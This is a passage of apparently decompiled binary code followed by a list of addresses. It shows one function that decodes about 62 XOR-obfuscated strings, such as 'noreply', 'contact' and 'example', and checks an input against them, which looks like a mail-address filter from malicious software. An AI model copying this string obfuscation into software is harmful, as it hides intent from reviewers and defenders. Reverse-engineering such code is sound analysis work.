_a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t904;
				signed int _t905;
				void* _t906;
				void* _t907;
				intOrPtr _t909;
				void* _t910;
				intOrPtr _t911;
				void* _t912;
				void* _t913;
				void* _t915;
				void* _t916;
				void* _t917;
				intOrPtr _t918;
				void* _t919;
				void* _t922;
				void* _t923;
				void* _t924;
				void* _t928;
				void* _t932;
				intOrPtr _t934;
				intOrPtr _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				intOrPtr _t940;
				intOrPtr _t946;
				void* _t947;
				void* _t948;
				intOrPtr _t949;
				void* _t950;
				void* _t951;
				void* _t952;
				void* _t953;
				intOrPtr _t955;
				void* _t956;
				void* _t961;
				intOrPtr _t964;
				intOrPtr _t965;
				void* _t966;
				void* _t967;
				intOrPtr _t970;
				void* _t974;
				char _t975;
				intOrPtr _t1011;
				void* _t1045;
				intOrPtr _t1139;
				intOrPtr _t1141;
				signed int _t1142;
				intOrPtr _t1144;
				void* _t1146;
				void* _t1147;
				void* _t1148;
				void* _t1149;
				void* _t1150;
				void* _t1152;
				void* _t1153;
				void* _t1154;
				void* _t1155;
				void* _t1156;

				_t904 = __eax;
				do {
					 *(_t1146 + _t904 + 0x1c8) =  *(_t1146 + _t904 + 0x1c8) ^  *(_t1146 + _t904 + 0x17c);
					_t904 = _t904 + 1;
				} while (_t904 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t905 = 0;
				do {
					 *(_t1146 + _t905 + 0x208) =  *(_t1146 + _t905 + 0x208) ^  *(_t1146 + _t905 + 0x17c);
					_t905 = _t905 + 1;
				} while (_t905 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t906 = 0;
				do {
					 *(_t1146 + _t906 + 0x1e8) =  *(_t1146 + _t906 + 0x1e8) ^ 0x00000084;
					_t906 = _t906 + 1;
				} while (_t906 < 6);
				_a592 = 0xad;
				_a593 = 0xac;
				_a594 = 0xb1;
				_a595 = 0xa6;
				_a596 = 0xb3;
				_a597 = 0xaf;
				_a598 = 0xba;
				_a599 = 0xc3;
				_t907 = 0;
				do {
					 *(_t1146 + _t907 + 0x250) =  *(_t1146 + _t907 + 0x250) ^ 0x000000c3;
					_t907 = _t907 + 1;
				} while (_t907 < 8);
				_push(8);
				_push( &_a784);
				_a784 = 0x63;
				_a785 = 0xe4;
				_a786 = 0x61;
				_a787 = 0x26;
				_a788 = 0xb9;
				_a789 = 0xf7;
				_a790 = 0xbd;
				_a791 = 0xf3;
				_a380 = 0x64;
				_a381 = 0x17;
				_a382 = 0x76;
				_a383 = 0x1b;
				_a384 = 0x6b;
				_a385 = 7;
				_a386 = 0x62;
				_a387 = 0x11;
				_t909 = E00407370( &_a380);
				_t1147 = _t1146 + 8;
				_a120 = _t909;
				_a416 = 0x35;
				_a417 = 0x6a;
				_a418 = 0x1d;
				_a419 = 0xe8;
				_a420 = 0x88;
				_a380 = 0x46;
				_a381 = 0x1a;
				_a382 = 0x7c;
				_a383 = 0x85;
				_a384 = 0x88;
				_t910 = 0;
				do {
					 *(_t1147 + _t910 + 0x1a0) =  *(_t1147 + _t910 + 0x1a0) ^  *(_t1147 + _t910 + 0x17c);
					_t910 = _t910 + 1;
				} while (_t910 < 5);
				_push(7);
				_push( &_a752);
				_a752 = 0xab;
				_a753 = 0x67;
				_a754 = 0xda;
				_a755 = 0x4a;
				_a756 = 0xa1;
				_a757 = 0xf2;
				_a758 = 0x69;
				_a380 = 0x3c;
				_a381 = 0x49;
				_a382 = 0x39;
				_a383 = 0x5d;
				_a384 = 0x3c;
				_a385 = 0x48;
				_a386 = 0x2d;
				_t911 = E00407370( &_a380);
				_t1148 = _t1147 + 8;
				_a88 = _t911;
				_a400 = 0x17;
				_a401 = 4;
				_a402 = 0xdd;
				_a403 = 0xdb;
				_a404 = 0x3c;
				_a380 = 0x29;
				_a381 = 0x5d;
				_a382 = 0x99;
				_a383 = 0x95;
				_a384 = 0xc4;
				_t912 = 0;
				do {
					 *((char*)(_t1148 + _t912 + 0x190)) =  *((intOrPtr*)(_t1148 + _t912 + 0x190)) +  *((intOrPtr*)(_t1148 + _t912 + 0x17c));
					_t912 = _t912 + 1;
				} while (_t912 < 5);
				_a432 = 4;
				_a433 = 0x87;
				_a434 = 0xf7;
				_a435 = 0xd4;
				_a436 = 0x19;
				_a380 = 0x44;
				_a381 = 0xe1;
				_a382 = 0x98;
				_a383 = 0xbb;
				_a384 = 0x19;
				_t913 = 0;
				do {
					 *(_t1148 + _t913 + 0x1b0) =  *(_t1148 + _t913 + 0x1b0) ^  *(_t1148 + _t913 + 0x17c);
					_t913 = _t913 + 1;
				} while (_t913 < 5);
				_a617 = 0x53;
				_a621 = 0x53;
				_a616 = 0x29;
				_a618 = 0xf6;
				_a619 = 0x3e;
				_a620 = 0xc8;
				_a622 = 0x8b;
				_a623 = 0xa2;
				_a380 = 0x48;
				_a381 = 0x3d;
				_a382 = 0x8f;
				_a383 = 0x51;
				_a384 = 0xa6;
				_a385 = 0x36;
				_a386 = 0xcb;
				_a387 = 0xa2;
				_t915 = 0;
				do {
					 *(_t1148 + _t915 + 0x268) =  *(_t1148 + _t915 + 0x268) ^  *(_t1148 + _t915 + 0x17c);
					_t915 = _t915 + 1;
				} while (_t915 < 8);
				_a24 = 0x88;
				_a25 = 0x99;
				_a26 = 0x8e;
				_a27 = 0xea;
				_t916 = 0;
				do {
					 *(_t1148 + _t916 + 0x18) =  *(_t1148 + _t916 + 0x18) ^ 0x000000ea;
					_t916 = _t916 + 1;
				} while (_t916 < 4);
				_a472 = 0xd;
				_a473 = 0x1a;
				_a474 = 8;
				_a475 = 0x1c;
				_a476 = 0x2f;
				_a477 = 0x6f;
				_t917 = 0;
				do {
					 *(_t1148 + _t917 + 0x1d8) =  *(_t1148 + _t917 + 0x1d8) ^ 0x0000006f;
					_t917 = _t917 + 1;
				} while (_t917 < 6);
				_push(6);
				_push( &_a712);
				_a712 = 0x49;
				_a713 = 0xc5;
				_a714 = 0x38;
				_a715 = 0xa9;
				_a716 = 0x2d;
				_a717 = 0xd6;
				_a380 = 0xde;
				_a381 = 0xbd;
				_a382 = 0xdc;
				_a383 = 0xba;
				_a384 = 0xdf;
				_a385 = 0xba;
				_t918 = E00407370( &_a380);
				_t1149 = _t1148 + 8;
				_a128 = _t918;
				_a656 = 0x47;
				_a657 = 0x33;
				_a658 = 0x6c;
				_a659 = 7;
				_a660 = 0x66;
				_a661 = 0x81;
				_a662 = 0xfd;
				_a663 = 0xe8;
				_a664 = 0x5b;
				_a380 = 0x24;
				_a381 = 0x56;
				_a382 = 0x1e;
				_a383 = 0x73;
				_a384 = 0xf;
				_a385 = 0xe7;
				_a386 = 0x94;
				_a387 = 0x8b;
				_a388 = 0x5b;
				_t919 = 0;
				do {
					 *(_t1149 + _t919 + 0x290) =  *(_t1149 + _t919 + 0x290) ^  *(_t1149 + _t919 + 0x17c);
					_t919 = _t919 + 1;
				} while (_t919 < 9);
				_a844 = 0x25;
				_a845 = 0x4b;
				_a846 = 0xfd;
				_a847 = 0x36;
				_a848 = 0x86;
				_a849 = 0xac;
				_a850 = 0x3c;
				_a851 = 0;
				_a852 = 0xc3;
				_a853 = 0x49;
				_a380 = 0x49;
				_a381 = 0x83;
				_a382 = 0x74;
				_a383 = 0x5f;
				_a384 = 0xcd;
				_a385 = 0xf4;
				_a386 = 0x42;
				_a387 = 0x93;
				_a388 = 0x24;
				_a389 = 0x46;
				_a44 = E004073E0( &_a380, 0xa,  &_a844);
				_a476 = 0xda;
				_a477 = 0x71;
				_a478 = 0x65;
				_a479 = 0x2a;
				_a480 = 0xe4;
				_a481 = 0x15;
				_a376 = 0x8e;
				_a377 = 0xf4;
				_a378 = 7;
				_a379 = 0x46;
				_a380 = 0x5c;
				_a381 = 0xeb;
				_t922 = 0;
				do {
					 *((char*)(_t1149 + _t922 + 0x1e0)) =  *((intOrPtr*)(_t1149 + _t922 + 0x1e0)) +  *((intOrPtr*)(_t1149 + _t922 + 0x17c));
					_t922 = _t922 + 1;
				} while (_t922 < 6);
				_a496 = 0xe4;
				_a497 = 0xb1;
				_a498 = 0xf5;
				_a499 = 0x81;
				_a500 = 0x8f;
				_a501 = 0x5f;
				_a380 = 0x85;
				_a381 = 0xbd;
				_a382 = 0x71;
				_a383 = 0xee;
				_a384 = 0xb1;
				_a385 = 0xa1;
				_t923 = 0;
				do {
					 *((char*)(_t1149 + _t923 + 0x1f0)) =  *((intOrPtr*)(_t1149 + _t923 + 0x1f0)) +  *((intOrPtr*)(_t1149 + _t923 + 0x17c));
					_t923 = _t923 + 1;
				} while (_t923 < 6);
				_a512 = 0x31;
				_a513 = 0xec;
				_a514 = 0xde;
				_a515 = 0x4b;
				_a516 = 0xe6;
				_a517 = 0x37;
				_a380 = 0x3f;
				_a381 = 0x75;
				_a382 = 0x90;
				_a383 = 0x19;
				_a384 = 0x7b;
				_a385 = 0xc9;
				_t924 = 0;
				do {
					 *((char*)(_t1149 + _t924 + 0x200)) =  *((intOrPtr*)(_t1149 + _t924 + 0x200)) +  *((intOrPtr*)(_t1149 + _t924 + 0x17c));
					_t924 = _t924 + 1;
				} while (_t924 < 6);
				_a35 = 0xf0;
				_a392 = 0xf0;
				_a32 = 0x35;
				_a33 = 0x9d;
				_a34 = 0xdc;
				_a393 = 0xac;
				_a394 = 0xfa;
				_a395 = 0x45;
				_a96 = E004073E0( &_a392, 4,  &_a32);
				_a564 = 0x28;
				_a565 = 0x3b;
				_a566 = 0x2e;
				_a567 = 0x33;
				_a568 = 0x34;
				_a569 = 0x3d;
				_a570 = 0x5a;
				_t928 = 0;
				do {
					 *(_t1149 + _t928 + 0x238) =  *(_t1149 + _t928 + 0x238) ^ 0x0000005a;
					_t928 = _t928 + 1;
				} while (_t928 < 7);
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, 5,  &_a704);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t932 = 0;
				do {
					 *(_t1149 + _t932 + 0x198) =  *(_t1149 + _t932 + 0x198) ^  *(_t1149 + _t932 + 0x17c);
					_t932 = _t932 + 1;
				} while (_t932 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
				_a384 = 0x96;
				_t934 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t934;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t935 = E00407370( &_a380);
				_t1150 = _t1149 + 0x10;
				_a124 = _t935;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t936 = 0;
				do {
					 *(_t1150 + _t936 + 0x270) =  *(_t1150 + _t936 + 0x270) ^ 0x000000df;
					_t936 = _t936 + 1;
				} while (_t936 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t937 = 0;
				do {
					 *(_t1150 + _t937 + 0x260) =  *(_t1150 + _t937 + 0x260) ^ 0x0000002e;
					_t937 = _t937 + 1;
				} while (_t937 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t938 = 0;
				do {
					 *((char*)(_t1150 + _t938 + 0x1a8)) =  *((intOrPtr*)(_t1150 + _t938 + 0x1a8)) +  *((intOrPtr*)(_t1150 + _t938 + 0x17c));
					_t938 = _t938 + 1;
				} while (_t938 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t940 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t940;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t946 = E00407370( &_a376);
				_t1152 = _t1150 + 0x18;
				_a72 = _t946;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t947 = 0;
				do {
					 *(_t1152 + _t947 + 0x258) =  *(_t1152 + _t947 + 0x258) ^  *(_t1152 + _t947 + 0x17c);
					_t947 = _t947 + 1;
				} while (_t947 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t948 = 0;
				do {
					 *(_t1152 + _t948 + 0x248) =  *(_t1152 + _t948 + 0x248) ^ 0x00000083;
					_t948 = _t948 + 1;
				} while (_t948 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t949 = E00407370( &_a380);
				_t1153 = _t1152 + 8;
				_a84 = _t949;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t950 = 0;
				do {
					 *(_t1153 + _t950 + 0x278) =  *(_t1153 + _t950 + 0x278) ^  *(_t1153 + _t950 + 0x17c);
					_t950 = _t950 + 1;
				} while (_t950 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t951 = 0;
				do {
					 *(_t1153 + _t951 + 0x288) =  *(_t1153 + _t951 + 0x288) ^  *(_t1153 + _t951 + 0x17c);
					_t951 = _t951 + 1;
				} while (_t951 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t952 = 0;
				do {
					 *((char*)(_t1153 + _t952 + 0x210)) =  *((intOrPtr*)(_t1153 + _t952 + 0x210)) +  *((intOrPtr*)(_t1153 + _t952 + 0x17c));
					_t952 = _t952 + 1;
				} while (_t952 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t953 = 0;
				do {
					 *(_t1153 + _t953 + 0x1f8) =  *(_t1153 + _t953 + 0x1f8) ^  *(_t1153 + _t953 + 0x17c);
					_t953 = _t953 + 1;
				} while (_t953 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t955 = E00407370( &_a380);
				_t1154 = _t1153 + 8;
				_a92 = _t955;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t956 = 0;
				do {
					 *(_t1154 + _t956 + 0x280) =  *(_t1154 + _t956 + 0x280) ^ 0x000000fc;
					_t956 = _t956 + 1;
				} while (_t956 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t1011 = E00407370( &_a380);
				_t1155 = _t1154 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t961 = 0;
				do {
					 *(_t1155 + _t961 + 0x218) =  *(_t1155 + _t961 + 0x218) ^ 0x00000001;
					_t961 = _t961 + 1;
				} while (_t961 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t964 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t1141 = _t964;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t965 = E00407370( &_a388);
				_t1156 = _t1155 + 8;
				_t1144 = _t965;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t966 = 0;
				do {
					 *(_t1156 + _t966 + 0x1b8) =  *(_t1156 + _t966 + 0x1b8) ^ 0x000000d4;
					_t966 = _t966 + 1;
				} while (_t966 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t967 = 0;
				do {
					 *((char*)(_t1156 + _t967 + 0x240)) =  *((intOrPtr*)(_t1156 + _t967 + 0x240)) +  *((intOrPtr*)(_t1156 + _t967 + 0x188));
					_t967 = _t967 + 1;
				} while (_t967 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t970 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t1045 = 0;
				do {
					 *((intOrPtr*)(_t1156 + _t1045 + 0x14)) =  *((intOrPtr*)(_t1156 + _t1045 + 0x14)) +  *((intOrPtr*)(_t1156 + _t1045 + 0x188));
					_t1045 = _t1045 + 1;
				} while (_t1045 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t1139 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t1141;
				_a344 = _t1011;
				_a360 = _t1144;
				_a368 =  &_a576;
				_a372 = _t970;
				_a376 =  &_a20;
				_t1142 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t974 = E00425320(_t1139,  *((intOrPtr*)(_t1156 + 0x84 + _t1142 * 4)));
					_t1156 = _t1156 + 8;
					if(_t974 != 0) {
						break;
					}
					_t1142 = _t1142 + 1;
					if(_t1142 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t1156 = _t1156 + 4;
						}
						_t975 = 1;
					}
					L66:
					 *[fs:0x0] = _a900;
					return E00424873(_t975, _a896);
				}
				if(_a892 < 0x10) {
					_t975 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t1156 = _t1156 + 4;
					_t975 = 0;
				}
				goto L66;
			}

0x00409436
0x00409440
0x00409450
0x00409457
0x00409458
0x0040945d
0x00409465
0x0040946d
0x00409475
0x0040947d
0x00409485
0x0040948d
0x00409495
0x0040949d
0x004094a5
0x004094ad
0x004094b5
0x004094bd
0x004094c5
0x004094cd
0x004094d0
0x004094e0
0x004094e7
0x004094e8
0x004094ed
0x004094f5
0x004094fd
0x00409505
0x0040950d
0x00409515
0x0040951d
0x00409520
0x00409520
0x00409528
0x00409529
0x0040952e
0x00409536
0x0040953e
0x00409546
0x0040954e
0x00409556
0x0040955e
0x00409566
0x0040956e
0x00409570
0x00409570
0x00409578
0x00409579
0x00409585
0x00409589
0x00409591
0x00409599
0x004095a1
0x004095a9
0x004095b1
0x004095b9
0x004095c1
0x004095c9
0x004095d1
0x004095d9
0x004095e0
0x004095e8
0x004095f0
0x004095f8
0x00409600
0x00409608
0x00409610
0x00409615
0x00409618
0x0040961c
0x00409624
0x0040962c
0x00409634
0x0040963c
0x00409644
0x0040964c
0x00409654
0x0040965c
0x00409664
0x0040966c
0x00409670
0x00409680
0x00409687
0x00409688
0x00409694
0x00409696
0x0040969e
0x004096a6
0x004096ae
0x004096b6
0x004096be
0x004096c6
0x004096ce
0x004096d6
0x004096de
0x004096e6
0x004096ee
0x004096f6
0x004096fe
0x00409706
0x0040970e
0x00409713
0x00409716
0x0040971a
0x00409721
0x00409729
0x00409731
0x00409739
0x00409741
0x00409749
0x00409751
0x00409759
0x00409761
0x00409769
0x00409770
0x00409780
0x00409787
0x00409788
0x0040978d
0x00409795
0x0040979d
0x004097a5
0x004097ad
0x004097b5
0x004097bd
0x004097c5
0x004097cd
0x004097d5
0x004097dd
0x004097e0
0x004097f0
0x004097f7
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409815
0x0040981d
0x00409825
0x0040982d
0x00409835
0x0040983d
0x00409845
0x0040984d
0x00409855
0x0040985d
0x00409865
0x0040986d
0x00409875
0x0040987d
0x00409880
0x00409890
0x00409897
0x00409898
0x0040989d
0x004098a2
0x004098a7
0x004098ac
0x004098b1
0x004098b3
0x004098b3
0x004098b8
0x004098b9
0x004098be
0x004098c6
0x004098ce
0x004098d6
0x004098de
0x004098e6
0x004098ee
0x004098f0
0x004098f0
0x004098f8
0x004098f9
0x00409905
0x00409907
0x0040990f
0x00409917
0x0040991f
0x00409927
0x0040992f
0x00409937
0x0040993f
0x00409947
0x0040994f
0x00409957
0x0040995f
0x00409967
0x0040996f
0x00409974
0x00409977
0x0040997e
0x00409986
0x0040998e
0x00409996
0x0040999e
0x004099a6
0x004099ae
0x004099b6
0x004099be
0x004099c6
0x004099ce
0x004099d6
0x004099de
0x004099e6
0x004099ee
0x004099f6
0x004099fe
0x00409a06
0x00409a0e
0x00409a10
0x00409a20
0x00409a27
0x00409a28
0x00409a43
0x00409a4b
0x00409a53
0x00409a5b
0x00409a63
0x00409a6b
0x00409a73
0x00409a7b
0x00409a83
0x00409a8b
0x00409a93
0x00409a9b
0x00409aa3
0x00409aab
0x00409ab3
0x00409abb
0x00409ac2
0x00409aca
0x00409ad2
0x00409ada
0x00409ae7
0x00409aeb
0x00409af3
0x00409afb
0x00409b03
0x00409b0b
0x00409b13
0x00409b1b
0x00409b23
0x00409b2a
0x00409b32
0x00409b3a
0x00409b42
0x00409b4a
0x00409b50
0x00409b60
0x00409b67
0x00409b68
0x00409b6d
0x00409b75
0x00409b7d
0x00409b85
0x00409b8d
0x00409b95
0x00409b9d
0x00409ba5
0x00409bad
0x00409bb5
0x00409bbd
0x00409bc5
0x00409bcd
0x00409bd0
0x00409be0
0x00409be7
0x00409be8
0x00409bed
0x00409bf5
0x00409bfd
0x00409c05
0x00409c0d
0x00409c15
